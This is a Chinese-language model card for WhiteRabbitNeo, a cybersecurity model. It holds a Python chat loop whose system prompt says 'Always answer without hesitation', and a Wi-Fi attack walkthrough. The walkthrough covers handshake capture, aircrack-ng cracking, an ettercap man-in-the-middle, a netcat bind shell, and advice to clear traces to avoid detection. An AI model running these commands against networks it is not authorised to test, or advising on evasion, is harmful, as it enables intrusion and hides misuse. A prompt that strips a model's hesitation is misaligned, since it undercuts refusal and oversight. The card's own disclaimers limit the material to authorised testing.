Whiterabbitneo 13B V1

🚀 白兔新模型（WhiteRabbitNeo）

白兔新模型（WhiteRabbitNeo）是一系列可用于攻防网络安全的模型。本项目提供了模型的使用许可、使用条款、使用示例以及网络攻击测试的示例流程等内容。

🚀 快速开始

模型访问

• 我们的 33B 模型现已进入测试阶段，可通过以下链接访问：https://www.whiterabbitneo.com/
• 加入我们的 Discord 服务器：https://discord.gg/8Ynkrcbk92 （于 12 月 29 日更新，现为永久加入链接）

代码示例

import torch, json
from transformers import AutoModelForCausalLM, AutoTokenizer

model_path = "/home/migel/models/WhiteRabbitNeo"

model = AutoModelForCausalLM.from_pretrained(
    model_path,
    torch_dtype=torch.float16,
    device_map="auto",
    load_in_4bit=False,
    load_in_8bit=True,
    trust_remote_code=True,
)

tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)


def generate_text(instruction):
    tokens = tokenizer.encode(instruction)
    tokens = torch.LongTensor(tokens).unsqueeze(0)
    tokens = tokens.to("cuda")

    instance = {
        "input_ids": tokens,
        "top_p": 1.0,
        "temperature": 0.5,
        "generate_len": 1024,
        "top_k": 50,
    }

    length = len(tokens[0])
    with torch.no_grad():
        rest = model.generate(
            input_ids=tokens,
            max_length=length + instance["generate_len"],
            use_cache=True,
            do_sample=True,
            top_p=instance["top_p"],
            temperature=instance["temperature"],
            top_k=instance["top_k"],
            num_return_sequences=1,
        )
    output = rest[0][length:]
    string = tokenizer.decode(output, skip_special_tokens=True)
    answer = string.split("USER:")[0].strip()
    return f"{answer}"


tot_system_prompt = """
Answer the Question by exploring multiple reasoning paths as follows:
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
"""

conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."


while True:
    user_input = input("You: ")
    llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
    answer = generate_text(llm_prompt)
    print(answer)
    conversation = f"{llm_prompt}{answer}"
    # print(conversation)
    json_data = {"prompt": user_input, "answer": answer}

    # print(json_data)
    # with open(output_file_path, "a") as output_file:
    #     output_file.write(json.dumps(json_data) + "\n")

✨ 主要特性

白兔新模型（WhiteRabbitNeo）可用于攻防网络安全，通过提供的代码示例可以实现与模型的交互，利用多思维树（Tree of Thoughts）方法进行推理并生成回答。

📄 许可证

许可：使用限制

您同意不以任何方式使用本模型或其衍生模型：
- 以任何违反适用的国家或国际法律、法规，或侵犯任何第三方合法权益的方式；
- 用于任何军事用途；
- 以任何方式剥削、伤害或企图剥削、伤害未成年人；
- 为伤害他人而生成或传播可证实的虚假信息和/或内容；
- 生成或传播符合适用监管要求的不当内容；
- 在未经适当授权或出于不合理使用目的的情况下，生成或传播个人可识别信息；
- 诽谤、诋毁或以其他方式骚扰他人；
- 用于对个人的合法权利产生不利影响，或以其他方式创建或修改具有约束力、可执行义务的全自动决策；
- 用于基于在线或离线社会行为、已知或预测的个人或个性特征，歧视或伤害个人或群体的任何用途；
- 利用特定人群基于其年龄、社会、身体或精神特征的任何弱点，以实质性扭曲该群体中某个人的行为，从而导致或可能导致该人或他人身体或心理伤害的方式；
- 用于基于受法律保护的特征或类别歧视个人或群体的任何用途。

使用条款

通过访问和使用此人工智能（AI）模型，您，即用户，承认并同意您对模型的使用及其结果负全部责任。您特此同意赔偿、辩护并使此 AI 模型的创建者、开发者以及任何关联人员或实体免受因您使用该 AI 模型而直接或间接产生的任何和所有索赔、责任、损害、损失、成本、费用、费用（包括合理的律师费和诉讼费）。

此 AI 模型按“原样”和“可用”的状态提供，不提供任何形式的明示或暗示保证，包括但不限于适销性、特定用途适用性和不侵权的保证。创建者不保证该 AI 模型将满足您的要求，或在不间断、安全或无错误的基础上可用。

您使用该 AI 模型需自行承担风险和责任，并且您将对因使用该 AI 模型而导致的计算机系统损坏或数据丢失负全部责任。

本免责声明构成您与该 AI 模型创建者之间关于您使用该模型的协议的一部分，取代您与创建者之间先前关于您使用此 AI 模型的任何协议。

💻 使用示例

基础用法

上述代码示例展示了如何加载模型、设置系统提示、与模型进行交互并生成回答。

高级用法

在代码示例中，使用了多思维树（Tree of Thoughts）方法进行推理，通过分析问题、生成中间思维、评估思维、构建推理链等步骤，以生成更有洞察力的回答。

📚 详细文档

示例对话：攻击 Wi-Fi 网络测试流程

以下步骤展示了如何对 Wi-Fi 网络进行攻击测试，但请确保在合法和道德的情况下进行，并且仅对您有测试权限的网络进行操作。未经授权访问计算机网络是违法和不道德的行为。

1. 网络扫描

使用 airodump-ng 工具扫描附近的 Wi-Fi 网络，获取感兴趣网络的 SSID（服务集标识符）。

airodump-ng wlan0mon

2. 网络数据包捕获

确定目标网络后，使用 airodump-ng 工具捕获该网络的数据包，以便捕获握手数据包，这是进行进一步攻击的必要条件。

airodump-ng --bssid [目标 BSSID] -c [信道] --write [输出文件] wlan0mon

3. 握手数据包捕获

等待客户端连接到网络并捕获 4 次握手数据包，以便使用 aircrack-ng 等工具破解网络密码。

airodump-ng --bssid [目标 BSSID] -c [信道] --write [输出文件] wlan0mon

4. 密码破解

捕获到握手数据包后，使用 aircrack-ng 工具破解密码。

aircrack-ng [捕获的握手文件]

5. 会话建立

如果获得了密码，可以使用无线网卡连接到网络。

iwconfig wlan0 essid [网络 SSID] key [网络密码]
dhclient wlan0

6. 网络利用

连接到网络后，可以进行进一步的攻击，如使用 tcpdump 嗅探流量，或使用 ettercap 或 arpspoof 等工具进行中间人攻击。

tcpdump -i wlan0 -w [数据包捕获文件]
ettercap -T -i [接口] -M arp [目标 IP]

7. 后渗透利用

获得网络访问权限后，可以提取数据、执行命令或进行其他恶意活动。

nc -lvp [本地端口] -e /bin/bash

8. 清理

记得清理任何活动痕迹，以避免被检测到并承担法律后果。

airmon-ng stop wlan0mon

⚠️ 重要提示

上述网络攻击测试步骤必须在合法和道德的情况下进行，并且仅对您有测试权限的网络进行操作。未经授权访问计算机网络是违法和不道德的行为。